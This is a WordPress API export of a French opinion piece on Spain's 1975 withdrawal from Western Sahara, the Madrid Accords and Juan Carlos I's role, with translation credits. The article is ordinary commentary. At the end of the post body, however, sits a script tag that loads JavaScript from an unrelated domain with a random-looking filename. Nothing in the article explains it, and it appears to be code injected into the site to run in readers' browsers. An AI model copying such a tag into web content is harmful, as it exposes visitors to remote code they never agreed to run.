{"id":22842,"date":"2020-12-19T16:55:09","date_gmt":"2020-12-19T16:55:09","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=22842"},"modified":"2020-12-19T17:15:55","modified_gmt":"2020-12-19T17:15:55","slug":"22842","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/12\/19\/22842\/","title":{"rendered":"Les restes de l&#8217;empire <br><i>   L&rsquo;Espagne et le Sahara occidental<\/i>"},"content":{"rendered":"<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">L&rsquo;Espagne, cette grande nation, membre de l&rsquo;UE et de l&rsquo;ONU, sans parler de l&rsquo;OTAN, n&rsquo;a pas pu affirmer sa force pour mener \u00e0 bien le r\u00e9f\u00e9rendum d&rsquo;autod\u00e9termination au Sahara auquel elle s\u2019\u00e9tait engag\u00e9e et qui a \u00e9t\u00e9 avalis\u00e9 par les instances internationales.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_22316.jpg\" width=\"530\" height=\"301\" \/><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Tout verbiage mis \u00e0 part, l&rsquo;histoire du colonialisme imp\u00e9rial espagnol est assez honteuse. Un \u00e9chantillon : la fuite du territoire du Sahara occidental, abandonnant \u00e0 leur sort les habitants d&rsquo;un territoire qui jusqu&rsquo;alors (1975) \u00e9tait consid\u00e9r\u00e9 comme une province espagnole et ses habitants comme des citoyens espagnols \u00e0 tous \u00e9gards.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">On \u00e9tait dans les derniers mois de 1975. Franco agonisait. Le pays \u00e9tait en suspens parce que personne ne savait ce qui allait se passer : si tout \u00e9tait \u00ab\u00a0ficel\u00e9 et bien ficel\u00e9\u00a0\u00bb comme on le murmurait dans les cercles du pouvoir ou si une \u00e9tape de d\u00e9mocratisation profonde du pays allait s&rsquo;ouvrir, comme nous, les forces antifranquistes, le souhaitions.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">C\u2019est dans ce suspense que s\u2019est d\u00e9clench\u00e9e la soi-disant \u00ab\u00a0marche verte\u00a0, pr\u00e9conis\u00e9e par le monarque marocain Hassan II, parrain\u00e9e par les USAm\u00e9ricains et financ\u00e9e par l&rsquo;argent saoudien.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Je me souviens encore de l&rsquo;\u00e9tonnement de voir de grandes masses de Marocains, hommes, enfants et femmes, avancer dans le d\u00e9sert vers le Sahara espagnol de l&rsquo;\u00e9poque sans rencontrer de r\u00e9sistance. Est-ce que tout le monde dans cette arm\u00e9e espagnole \u00a0s&rsquo;est d\u00e9rob\u00e9 face \u00e0 une confrontation avec le Maroc, est-ce que les USA \u00e9taient derri\u00e8re comme ils le sont encore aujourd&rsquo;hui, est-ce que les puissances occidentales \u00e9taient tomb\u00e9es d\u2019accord sur le danger que les Sahraouis aient le soutien de l&rsquo;Alg\u00e9rie et d&rsquo;autres pays africains et europ\u00e9ens, jusqu&rsquo;o\u00f9 est all\u00e9 et va encore le financement saoudien ?<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Nous ne connaissons pas l\u2019arri\u00e8re-fond, mais ce que nous savons, c&rsquo;est que, malgr\u00e9 le fait que les Nations unies avaient ordonn\u00e9 le retrait de la marche, l&rsquo;Espagne a quitt\u00e9 le territoire, le confiant au savoir-faire du Maroc et de la Mauritanie, pr\u00e9cis\u00e9ment ceux qui l&rsquo;envahissaient \u00e0 ce moment-l\u00e0. Et elle a sign\u00e9 le trait\u00e9 de Madrid avec eux le 14 novembre 1975. Peut-on imaginer une fin plus tragicomique pour une puissance coloniale ? M\u00eame la fuite des USAm\u00e9ricains du Vietnam dans cet h\u00e9licopt\u00e8re d\u00e9collant d&rsquo;un toit \u00e0 Saigon ne fut aussi ridicule.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Plusieurs milliers de Sahraouis sont rest\u00e9s sur le carreau, 75 000 selon le recensement de 1974, qui depuis lors ont v\u00e9cu divis\u00e9s, les uns dans des tentes au milieu du d\u00e9sert et d&rsquo;autres dans les territoires occup\u00e9s. Avec un mur qui les s\u00e9pare sur 2 720 km L&rsquo;Espagne, cette grande nation, membre de l&rsquo;UE et de l&rsquo;ONU, sans parler de l&rsquo;OTAN, n&rsquo;a pas pu faire sentir sa force pour mener \u00e0 bien le r\u00e9f\u00e9rendum d&rsquo;autod\u00e9termination auquel elle s&rsquo;\u00e9tait engag\u00e9e et qui a \u00e9t\u00e9 avalis\u00e9 par les organismes internationaux, tant l&rsquo;Union europ\u00e9enne et l&rsquo;Organisation de l&rsquo;unit\u00e9 africaine que l&rsquo;ONU. Elle n&rsquo;a m\u00eame pas \u00e9t\u00e9 en mesure de n\u00e9gocier avec le Maroc une issue digne au conflit, bien que le territoire du Sahara occidental continue d&rsquo;\u00eatre consid\u00e9r\u00e9 internationalement comme une colonie espagnole et soit l&rsquo;un des rares territoires en attente de d\u00e9colonisation. \u00c0 tel point que les Nations unies consid\u00e8rent comme nul et non avenu l&rsquo;accord de Madrid de 1975, qui a transf\u00e9r\u00e9 la souverainet\u00e9 au Maroc et \u00e0 la Mauritanie, ce que l&rsquo;Espagne ne pouvait pas faire, puisqu&rsquo;elle n&rsquo;avait pas de souverainet\u00e9 sur le territoire colonis\u00e9 mais seulement son administration. Le prince d&rsquo;Espagne de l&rsquo;\u00e9poque, le futur roi Juan Carlos Ier , aujourd&rsquo;hui \u00e9m\u00e9rite, a \u00e9t\u00e9 le protagoniste de ces accords.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Selon des documents d\u00e9classifi\u00e9s de la CIA, le prince de l&rsquo;\u00e9poque aurait convenu avec le roi du Maroc que la marche entrerait dans une zone espagnole d&rsquo;o\u00f9 les troupes auraient \u00e9t\u00e9 commod\u00e9ment retir\u00e9es. C\u2019est ce qui s\u2019est pass\u00e9 conform\u00e9ment \u00e0 l&rsquo;accord. Lors de sa rencontre avec l&rsquo;ambassadeur usam\u00e9ricain Wells Stabler, il l&rsquo;a inform\u00e9 de cet accord et a demand\u00e9 l&rsquo;aide des USA pour faciliter les relations avec les pays europ\u00e9ens, dont certains dignitaires ne faisaient pas confiance \u00e0 un roi nomm\u00e9 par le dictateur, et pour fournir du mat\u00e9riel aux forces arm\u00e9es espagnoles. Un document pr\u00e9c\u00e9dent indique que si un r\u00e9f\u00e9rendum \u00e9tait organis\u00e9, les Sahraouis voteraient presque certainement pour l&rsquo;ind\u00e9pendance, mais \u00ab\u00a0l&rsquo;Espagne assure que les r\u00e9sultats pourraient \u00eatre manipul\u00e9s\u00a0\u00bb ( ?)<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_23834.jpg\" width=\"551\" height=\"391\" \/><\/p>\n<p><span style=\"font-size: 12pt;\">Le r\u00e9f\u00e9rendum n&rsquo;a jamais eu lieu. Le Polisario le r\u00e9clame depuis des d\u00e9cennies et les Nations Unies elles-m\u00eames ont envoy\u00e9 une mission, la MINURSO, dans la r\u00e9gion \u00e0 cette fin. Cependant, l&rsquo;horizon n&rsquo;est pas le plus favorable. La reconnaissance de l&rsquo;occupation marocaine par Trump rend cette possibilit\u00e9 encore plus lointaine, \u00e0 moins que les Sahraouis, avec leurs propres forces, ne parviennent \u00e0 l&rsquo;imposer.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Pendant ce temps, dans une Espagne fi\u00e8re de son pass\u00e9 imp\u00e9rial, cet \u00e9chec de la d\u00e9colonisation reste cach\u00e9 \u00e0 beaucoup de ses citoyens. Maintenant que nous connaissons d&rsquo;autres m\u00e9faits de l&rsquo;ancien monarque, l&rsquo;abandon du Sahara n&rsquo;en est pas un des moindres. D&rsquo;autres pays ont r\u00e9ussi \u00e0 g\u00e9rer la d\u00e9colonisation d&rsquo;une mani\u00e8re bien plus honorable que la fuite, par la mer, des derniers Espagnols qui occupaient ce qui s&rsquo;appelait alors la province d\u2019 Ifni, militaires et civils bras dessus bras dessous<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Peut-\u00eatre qu\u2019apr\u00e8s coup, Henry Kissinger avait raison lorsque, dans ces r\u00e9unions d\u00e9contract\u00e9es qui accompagnent habituellement les grands rassemblements, il a comment\u00e9 que pour le moment \u2500on est d\u00e9but 76\u2500 le monarque espagnol n&rsquo;avait pas montr\u00e9 cette capacit\u00e9 des Bourbons \u00e0 s\u2019autod\u00e9truire. Il ne restait plus qu&rsquo;\u00e0 lui donner le temps de se conformer \u00e0 la tradition.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Dans la g\u00e9opolitique compliqu\u00e9e de l&rsquo;Afrique du Nord, les Sahraouis ont pay\u00e9 un prix \u00e9lev\u00e9 pour cette intervention, d\u00e9sormais b\u00e9nie par Trump et l&rsquo;argent des Saoudiens, et qu&rsquo;aucun gouvernement espagnol n&rsquo;a pu inverser jusqu&rsquo;\u00e0 pr\u00e9sent. Le territoire occup\u00e9 par le Maroc a \u00e9t\u00e9 le th\u00e9\u00e2tre d&rsquo;arrestations, de tortures et de disparitions de personnes accus\u00e9es de liens avec le Polisario. A tel point qu&rsquo;en avril 2015, le juge Ruz a inculp\u00e9 11 militaires marocains de divers crimes contre les droits humains. Il suffit de lire le sommaire de la mise en accusation pour se rendre compte de l&rsquo;ampleur du g\u00e9nocide.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">C&rsquo;est pourquoi, lorsqu&rsquo;on me parle des gloires du pass\u00e9 imp\u00e9rial, je r\u00e9ponds : \u00ab\u00a0Non, merci\u00a0\u00bb. Aucune action humanitaire, aussi b\u00e9n\u00e9fique soit-elle, ne peut compenser cette violation des lois fondamentales de la politique. Aucun processus de d\u00e9colonisation, et il y en a eu de tr\u00e8s compliqu\u00e9s, n&rsquo;a consist\u00e9 \u00e0 c\u00e9der le territoire pr\u00e9c\u00e9demment colonis\u00e9 au pays voisin sans m\u00eame consulter ses habitants. Cet exploit n&rsquo;a \u00e9t\u00e9 digne que du colonialisme espagnol et de son chef supr\u00eame, l&rsquo;\u00e9m\u00e9rite Juan Carlos Ier . Il est grand temps que le gouvernement actuel utilise tous les moyens \u00e0 sa disposition pour r\u00e9parer une telle injustice.<\/span><\/p>\n<p><strong><span class=\"auteur\" style=\"font-size: 14pt;\">Montserrat Galcer\u00e1n<\/span><\/strong><\/p>\n<p><strong><span class=\"navigation_cadre\" style=\"font-size: 14pt;\">Original:<a href=\"http:\/\/www.lapluma.net\/2020\/12\/19\/22842\/\"> Los restos del imperio<\/a><br \/>\n<a href=\"http:\/\/www.lapluma.net\/2020\/12\/19\/22842\/\"><i>Espa\u00f1a y el Sahara occidental<\/i><\/a><\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Traduit par <span class=\"trad\"> <a href=\"http:\/\/www.tlaxcala-int.org\/biographie.asp?ref_aut=2&amp;lg_pp=fr\">Fausto Giudice \u0424\u0430\u0443\u0441\u0442\u043e \u0414\u0436\u0443\u0434\u0438\u0447\u0435 \u0641\u0627\u0648\u0633\u062a\u0648 \u062c\u064a\u0648\u062f\u064a\u0634\u064a<\/a> <\/span><\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Source: <a href=\"http:\/\/www.tlaxcala-int.org\/article.asp?reference=30307\">Tlaxcala<\/a>, le 18 d\u00e9cembre 2020<\/span><\/strong><\/p>\n<p><a href=\"https:\/\/paypal.me\/pools\/c\/8bfPFKFYP5\"><img decoding=\"async\" class=\"aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_21691.jpg\" alt=\"http:\/\/tlaxcala-int.org\/upload\/gal_21691.jpg\" \/> <\/a><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Ya es hora de que el Gobierno actual utilice todos sus medios para reparar tama\u00f1a injusticia<\/p>\n","protected":false},"author":752,"featured_media":22848,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[218],"tags":[11518,11522,11523,11519,2578,11520,938,481,937,480,11521],"coauthors":[11517],"class_list":["post-22842","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-monde","tag-borbones-psoe-majzen","tag-bourbons-makhzen","tag-colonialisme-espagnol","tag-colonialismo-espanol","tag-espana-marruecos","tag-montserrat-galceran","tag-occupation-marocaine","tag-ocupacion-marroqui","tag-sahara-occidental-occupe","tag-sahara-occidental-ocupado","tag-usa-espagne-maroc"],"translation":{"provider":"WPGlobus","version":"2.12.2","language":"fr","enabled_languages":["es","fr"],"languages":{"es":{"title":true,"content":true,"excerpt":true},"fr":{"title":true,"content":true,"excerpt":false}}},"_links":{"self":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/22842","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/users\/752"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/comments?post=22842"}],"version-history":[{"count":6,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/22842\/revisions"}],"predecessor-version":[{"id":22846,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/22842\/revisions\/22846"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media\/22848"}],"wp:attachment":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media?parent=22842"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/categories?post=22842"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/tags?post=22842"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/coauthors?post=22842"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}